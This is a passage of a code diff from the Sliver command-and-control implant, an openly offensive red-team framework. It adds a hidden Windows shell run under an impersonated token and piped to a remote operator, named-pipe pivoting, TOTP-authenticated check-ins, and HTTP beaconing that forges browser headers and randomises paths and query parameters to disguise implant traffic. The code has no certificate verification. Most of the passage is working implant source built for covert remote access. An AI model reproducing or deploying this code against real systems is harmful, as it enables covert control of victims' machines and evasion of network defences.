s.Command.Wait()
|
||||
}
|
||||
|
||||
func exists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
if err == nil {
|
||||
return true
|
||||
}
|
||||
if os.IsNotExist(err) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
@@ -18,13 +18,23 @@ package shell
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"golang.org/x/sys/windows"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
commandPrompt = []string{"C:\\Windows\\System32\\cmd.exe"}
|
||||
powerShell = []string{
|
||||
"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
|
||||
"-NoExit",
|
||||
// "-WindowStyle", "Hidden",
|
||||
"-Command", "[Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8",
|
||||
}
|
||||
)
|
||||
@@ -39,3 +49,40 @@ func GetSystemShellPath(path string) []string {
|
||||
}
|
||||
return commandPrompt
|
||||
}
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
stdin, _ := cmd.StdinPipe()
|
||||
stdout, _ := cmd.StdoutPipe()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
}
|
||||
}
|
||||
@@ -257,7 +257,7 @@ func getRegisterSliver() *sliverpb.Envelope {
|
||||
filename, err := os.Executable()
|
||||
// Should not happen, but still...
|
||||
if err != nil {
|
||||
//TODO: build the absolute path to os.Args[0]
|
||||
// TODO: build the absolute path to os.Args[0]
|
||||
if 0 < len(os.Args) {
|
||||
filename = os.Args[0]
|
||||
} else {
|
||||
@@ -287,6 +287,7 @@ func getRegisterSliver() *sliverpb.Envelope {
|
||||
ReconnectInterval: uint32(transports.GetReconnectInterval() / time.Second),
|
||||
ProxyURL: transports.GetProxyURL(),
|
||||
PollInterval: uint32(transports.GetPollInterval() / time.Second),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -30,6 +30,14 @@ import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"io"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"time"
|
||||
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -125,3 +133,18 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
func GetOTPCode() string {
|
||||
now := time.Now().UTC()
|
||||
opts := totp.ValidateOpts{
|
||||
Digits: 8,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: uint(30),
|
||||
Skew: uint(1),
|
||||
}
|
||||
code, _ := totp.GenerateCodeCustom("{{ .OTPSecret }}", now, opts)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("TOTP Code: %s", code)
|
||||
// {{end}}
|
||||
return code
|
||||
}
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build windows
|
||||
|
||||
package transports
|
||||
|
||||
/*
|
||||
@@ -23,15 +25,18 @@ package transports
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"net"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/lesnuages/go-winio"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
@@ -41,6 +46,61 @@ const (
|
||||
writeBufSizeNamedPipe = 1024
|
||||
)
|
||||
|
||||
func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
conn, err := namePipeDial(uri)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
ctrl := make(chan bool, 1)
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
cleanup: func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(send)
|
||||
ctrl <- true
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
namedPipeWriteEnvelope(&conn, envelope)
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for {
|
||||
envelope, err := namedPipeReadEnvelope(&conn)
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}()
|
||||
activeConnection = connection
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
func namePipeDial(uri *url.URL) (net.Conn, error) {
|
||||
address := uri.String()
|
||||
address = strings.ReplaceAll(address, "namedpipe://", "")
|
||||
@@ -64,7 +124,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
_, err = (*conn).Write(dataLengthBuf.Bytes())
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %v and %d\n", err, dataLengthBuf)
|
||||
log.Printf("[namedpipe] Error %s and %d\n", err, dataLengthBuf)
|
||||
// {{end}}
|
||||
}
|
||||
totalWritten := 0
|
||||
@@ -73,7 +133,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
totalWritten += n
|
||||
if err2 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %v\n", err)
|
||||
log.Printf("[namedpipe] Error %s\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
@@ -82,7 +142,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error %v\n", err)
|
||||
log.Printf("[namedpipe] Error %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
@@ -94,7 +154,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
_, err := (*conn).Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Error (read msg-length): %v\n", err)
|
||||
log.Printf("[namedpipe] Error (read msg-length): %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
@@ -120,7 +180,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Unmarshaling envelope error: %v", err)
|
||||
log.Printf("[namedpipe] Unmarshal envelope error: %s", err)
|
||||
// {{end}}
|
||||
return &sliverpb.Envelope{}, err
|
||||
}
|
||||
|
||||
@@ -20,13 +20,6 @@ package transports
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .jsp = init
|
||||
// .php = session
|
||||
// .js = poll
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rsa"
|
||||
@@ -57,15 +50,17 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
|
||||
userAgent = "{{GenerateUserAgent}}"
|
||||
defaultNetTimeout = time.Second * 60
|
||||
defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
|
||||
nonceQueryArgs = "abcdefghijklmnopqrstuvwxyz_"
|
||||
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
)
|
||||
|
||||
// HTTPStartSession - Attempts to start a session with a given address
|
||||
func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, error) {
|
||||
func HTTPStartSession(address string, pathPrefix string, proxyConfig string) (*SliverHTTPClient, error) {
|
||||
var client *SliverHTTPClient
|
||||
client = httpsClient(address, true)
|
||||
client = httpsClient(address, proxyConfig)
|
||||
client.PathPrefix = pathPrefix
|
||||
err := client.SessionInit()
|
||||
if err != nil {
|
||||
@@ -73,7 +68,7 @@ func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, err
|
||||
if strings.HasSuffix(address, ":443") {
|
||||
address = fmt.Sprintf("%s:80", address[:len(address)-4])
|
||||
}
|
||||
client = httpClient(address, true) // Fallback to insecure HTTP
|
||||
client = httpClient(address, proxyConfig) // Fallback to insecure HTTP
|
||||
err = client.SessionInit()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -119,23 +114,62 @@ func (s *SliverHTTPClient) SessionInit() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) newHTTPRequest(method, uri string, encoderNonce int, body io.Reader) *http.Request {
|
||||
req, _ := http.NewRequest(method, uri, body)
|
||||
req.Header.Set("User-Agent", defaultUserAgent)
|
||||
req.Header.Set("Accept-Language", "en-US")
|
||||
query := req.URL.Query()
|
||||
query.Set("_", fmt.Sprintf("%d", encoderNonce))
|
||||
req.URL.RawQuery = query.Encode()
|
||||
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
|
||||
req, _ := http.NewRequest(method, uri.String(), body)
|
||||
req.Header.Set("User-Agent", userAgent)
|
||||
if method == http.MethodGet {
|
||||
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
|
||||
req.Header.Set("Accept", acceptHeaderValue)
|
||||
}
|
||||
if uri.Scheme == "http" {
|
||||
req.Header.Set("Upgrade-Insecure-Requests", "1")
|
||||
}
|
||||
return req
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value int) *url.URL {
|
||||
values := uri.Query()
|
||||
key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Encoder nonce %d", value)
|
||||
// {{end}}
|
||||
argValue := fmt.Sprintf("%d", value)
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(argValue))
|
||||
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
|
||||
argValue = argValue[:index] + char + argValue[index:]
|
||||
}
|
||||
values.Add(string(key), argValue)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL {
|
||||
values := uri.Query()
|
||||
key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(value))
|
||||
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
|
||||
value = value[:index] + char + value[index:]
|
||||
}
|
||||
values.Add(string([]byte{key1, key2}), value)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
|
||||
uri := s.txtURL()
|
||||
uri := s.keyExchangeURL()
|
||||
nonce, encoder := encoders.RandomTxtEncoder()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
otpCode := GetOTPCode()
|
||||
s.OTPQueryArgument(uri, otpCode)
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET -> %s", uri)
|
||||
// {{end}}
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
|
||||
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -180,22 +214,19 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
|
||||
// We do our own POST here because the server doesn't have the
|
||||
// session key yet.
|
||||
func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
|
||||
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] sessionInit = %v", sessionInit)
|
||||
// {{end}}
|
||||
payload := encoder.Encode(sessionInit)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] Encoded payload (%d) %v", nonce, payload)
|
||||
// {{end}}
|
||||
reqBody := bytes.NewReader(payload) // Already RSA encrypted
|
||||
|
||||
uri := s.jspURL()
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reqBody)
|
||||
uri := s.startSessionURL()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
otpCode := GetOTPCode()
|
||||
s.OTPQueryArgument(uri, otpCode)
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] POST -> %s", uri)
|
||||
// {{end}}
|
||||
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -220,14 +251,19 @@ func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
var (
|
||||
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
|
||||
)
|
||||
|
||||
// Poll - Perform an HTTP GET request
|
||||
func (s *SliverHTTPClient) Poll() ([]byte, error) {
|
||||
if s.SessionID == "" || s.SessionKey == nil {
|
||||
return nil, errors.New("no session")
|
||||
}
|
||||
uri := s.jsURL()
|
||||
uri := s.pollURL()
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET -> %s", uri)
|
||||
// {{end}}
|
||||
@@ -238,28 +274,35 @@ func (s *SliverHTTPClient) Poll() ([]byte, error) {
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 && resp.StatusCode != 201 {
|
||||
return nil, errors.New("Non-200 response code")
|
||||
}
|
||||
if resp.StatusCode == 403 {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Server responded with invalid session for %v", s.SessionID)
|
||||
// {{end}}
|
||||
return nil, errors.New("invalid session")
|
||||
}
|
||||
var data []byte
|
||||
respData, _ := ioutil.ReadAll(resp.Body)
|
||||
defer resp.Body.Close()
|
||||
if 0 < len(respData) {
|
||||
data, err = encoder.Decode(respData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Decoding failed %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode == http.StatusNoContent {
|
||||
return nil, nil
|
||||
}
|
||||
return GCMDecrypt(*s.SessionKey, data)
|
||||
if resp.StatusCode == http.StatusOK {
|
||||
var data []byte
|
||||
respData, _ := ioutil.ReadAll(resp.Body)
|
||||
defer resp.Body.Close()
|
||||
if 0 < len(respData) {
|
||||
data, err = encoder.Decode(respData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Decoding failed %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return GCMDecrypt(*s.SessionKey, data)
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] Unexpected status code %v", resp)
|
||||
// {{end}}
|
||||
return nil, ErrStatusCodeUnexpected
|
||||
}
|
||||
|
||||
// Send - Perform an HTTP POST request
|
||||
@@ -267,15 +310,18 @@ func (s *SliverHTTPClient) Send(data []byte) error {
|
||||
if s.SessionID == "" || s.SessionKey == nil {
|
||||
return errors.New("no session")
|
||||
}
|
||||
reqData, err := GCMEncrypt(*s.SessionKey, data)
|
||||
reqData, _ := GCMEncrypt(*s.SessionKey, data)
|
||||
|
||||
uri := s.sessionURL()
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
reader := bytes.NewReader(encoder.Encode(reqData))
|
||||
uri := s.phpURL()
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] POST -> %s", uri)
|
||||
// {{end}}
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reader)
|
||||
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reader)
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -299,54 +345,105 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
|
||||
return strings.Join(segments, "/")
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) jsURL() string {
|
||||
func (s *SliverHTTPClient) keyExchangeURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"js", "static", "assets", "dist", "javascript"}
|
||||
filenames := []string{"underscore.min.js", "jquery.min.js", "bootstrap.min.js"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.KeyExchangePaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.KeyExchangeFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.KeyExchangeFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) jspURL() string {
|
||||
func (s *SliverHTTPClient) pollURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"app", "admin", "upload", "actions", "api"}
|
||||
filenames := []string{"login.jsp", "admin.jsp", "session.jsp", "action.jsp"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.PollPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.PollFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.PollFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) phpURL() string {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"api", "rest", "drupal", "wordpress"}
|
||||
filenames := []string{"login.php", "signin.php", "api.php", "samples.php"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
func (s *SliverHTTPClient) startSessionURL() *url.URL {
|
||||
sessionURI := s.sessionURL()
|
||||
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExt }}")
|
||||
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExt }}"
|
||||
curl, _ := url.Parse(uri)
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) txtURL() string {
|
||||
func (s *SliverHTTPClient) sessionURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{"static", "www", "assets", "text", "docs", "sample"}
|
||||
filenames := []string{"robots.txt", "sample.txt", "info.txt", "example.txt"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.SessionPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.SessionFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.SessionFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string) []string {
|
||||
n := insecureRand.Intn(2) // How many segments?
|
||||
func (s *SliverHTTPClient) closeURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.ClosePaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.CloseFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.CloseFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
// Must return at least a file name, path segments are optional
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
|
||||
genSegments := []string{}
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
genSegments = append(genSegments, seg)
|
||||
if 0 < len(segments) {
|
||||
n := insecureRand.Intn(len(segments)) // How many segments?
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
genSegments = append(genSegments, seg)
|
||||
}
|
||||
}
|
||||
filename := filenames[insecureRand.Intn(len(filenames))]
|
||||
genSegments = append(genSegments, filename)
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] segments = %v, filename = %s, ext = %s", genSegments, filename, ext)
|
||||
// {{end}}
|
||||
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
|
||||
return genSegments
|
||||
}
|
||||
|
||||
// [ HTTP(S) Clients ] ------------------------------------------------------------
|
||||
|
||||
func httpClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
httpTransport := &http.Transport{
|
||||
func httpClient(address string, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
Dial: proxy.Direct.Dial,
|
||||
TLSHandshakeTimeout: defaultNetTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
@@ -356,31 +453,15 @@ func httpClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: defaultReqTimeout,
|
||||
Transport: httpTransport,
|
||||
Transport: transport,
|
||||
},
|
||||
}
|
||||
if useProxy {
|
||||
p := proxy.NewProvider("").GetHTTPProxy(client.Origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Found proxy %#v\n", p)
|
||||
// {{end}}
|
||||
proxyURL := p.URL()
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "http"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
httpTransport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
}
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
return client
|
||||
}
|
||||
|
||||
func httpsClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
netTransport := &http.Transport{
|
||||
func httpsClient(address string, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: defaultNetTimeout,
|
||||
}).Dial,
|
||||
@@ -392,10 +473,20 @@ func httpsClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: defaultReqTimeout,
|
||||
Transport: netTransport,
|
||||
Transport: transport,
|
||||
},
|
||||
}
|
||||
if useProxy {
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
return client
|
||||
}
|
||||
|
||||
func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxyConfig string) {
|
||||
switch proxyConfig {
|
||||
case "never":
|
||||
break
|
||||
case "":
|
||||
fallthrough
|
||||
case "auto":
|
||||
p := proxy.NewProvider("").GetHTTPSProxy(client.Origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -408,11 +499,26 @@ func httpsClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
netTransport.Proxy = http.ProxyURL(proxyURL)
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Force proxy %#v\n", proxyConfig)
|
||||
// {{end}}
|
||||
proxyURL, err := url.Parse(proxyConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
return client
|
||||
}
|
||||
|
||||
// Jar - CookieJar implementation that ignores domains/origins
|
||||
|
||||
@@ -33,7 +33,6 @@ import (
|
||||
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -63,9 +62,9 @@ func socketWritePing(connection *tls.Conn) error {
|
||||
// {{end}}
|
||||
|
||||
// We don't need a real nonce here, we just need to write to the socket
|
||||
pingBuf, _ := proto.Marshal(&sliverpb.Ping{Nonce: 31337})
|
||||
envelope := sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
pingBuf, _ := proto.Marshal(&pb.Ping{Nonce: 31337})
|
||||
envelope := pb.Envelope{
|
||||
Type: pb.MsgPing,
|
||||
Data: pingBuf,
|
||||
}
|
||||
return socketWriteEnvelope(connection, &envelope)
|
||||
@@ -152,7 +151,6 @@ func getTLSConfig() *tls.Config {
|
||||
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
|
||||
VerifyPeerCertificate: rootOnlyVerifyCertificate,
|
||||
}
|
||||
tlsConfig.BuildNameToCertificate()
|
||||
|
||||
return tlsConfig
|
||||
}
|
||||
|
||||
@@ -18,7 +18,7 @@ const (
|
||||
writeBufSizeTCP = 1024
|
||||
)
|
||||
|
||||
func tcpPivoteWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
func tcpPivotWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -87,7 +87,7 @@ func tcpPivotReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Unmarshaling envelope error: %v", err)
|
||||
log.Printf("[tcppivot] Unmarshal envelope error: %v", err)
|
||||
// {{end}}
